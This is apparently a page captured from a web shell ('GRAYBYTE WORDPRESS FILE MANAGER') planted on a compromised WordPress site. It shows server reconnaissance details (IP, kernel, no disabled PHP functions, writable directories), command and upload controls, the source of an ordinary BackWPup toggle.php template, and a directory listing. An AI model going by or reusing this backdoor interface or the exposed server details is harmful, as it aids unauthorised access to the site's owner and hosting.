GRAYBYTE WORDPRESS FILE MANAGER3330

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/backwpup/components/form/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/backwpup/components/form//toggle.php
<?php
use BackWPup\Utils\BackWPupHelpers;
/**
 * @var string  $name           Unique name of the field to handle value when form is submitted to PHP.  
 * @var string  $label          Optional. The label for the toggle. Default: null 
 * @var bool    $checked        Optional. True to check the toggle. Default: false.  
 * @var string  $trigger        Optional. The javascript class. Default: "".
 * @var array $data Optional. Additional data attributes. Default: [].
 */

# Name
if (!isset($name)) {
  throw new Exception("Attribute 'name' is required on Toggle field");
}

# Data
$data_attrs = "";
if (isset($data)) {
	foreach ($data as $key => $value) {
		$data_attrs .= " data-$key=\"$value\"";
	}
}

# Label
$label = $label ?? null;

# Checked
$checked_attr = isset($checked) && $checked ? "checked" : "";

# JS actions
$trigger = isset($trigger) ? "js-backwpup-$trigger" : "";

?>
<div class="relative flex gap-2">
  <input type="checkbox" class="<?php echo BackWPupHelpers::clsx("sr-only peer group", $trigger); ?>" aria-hidden="true" id="<?php echo $name; ?>" name="<?php echo $name; ?>" <?php echo $checked_attr; ?> <?php echo $data_attrs; ?>>
  <label for="<?php echo $name; ?>" class="bg-grey-500 peer-checked:bg-secondary-base relative inline-flex h-6 w-10 flex-shrink-0 cursor-pointer rounded-full transition-colors duration-200 ease-in-out focus:outline-none"></label>
  <span aria-hidden="true" class="absolute top-1 left-1 translate-x-0 peer-checked:translate-x-4 pointer-events-none inline-block h-4 w-4 transform rounded-full bg-primary-darker ring-0 transition duration-200 ease-in-out"></span>
  <?php if ($label) : ?>
    <label for="<?php echo $name; ?>" class="text-base cursor-pointer"><?php echo $label; ?></label>
  <?php endif; ?>
</div>

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:37
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:37
giriqfky / giriqfky
0644
add.php
1.545 KB
February 04 2025 14:50:44
giriqfky / giriqfky
0644
button.php
4.9 KB
April 29 2025 17:34:12
giriqfky / giriqfky
0644
checkbox.php
3.04 KB
April 07 2025 18:31:08
giriqfky / giriqfky
0644
hidden.php
0.487 KB
February 04 2025 14:50:44
giriqfky / giriqfky
0644
search.php
1.178 KB
February 04 2025 14:50:44
giriqfky / giriqfky
0644
select.php
2.93 KB
April 29 2025 17:34:12
giriqfky / giriqfky
0644
text.php
2.684 KB
February 04 2025 14:50:44
giriqfky / giriqfky
0644
toggle.php
1.724 KB
February 04 2025 14:50:44
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF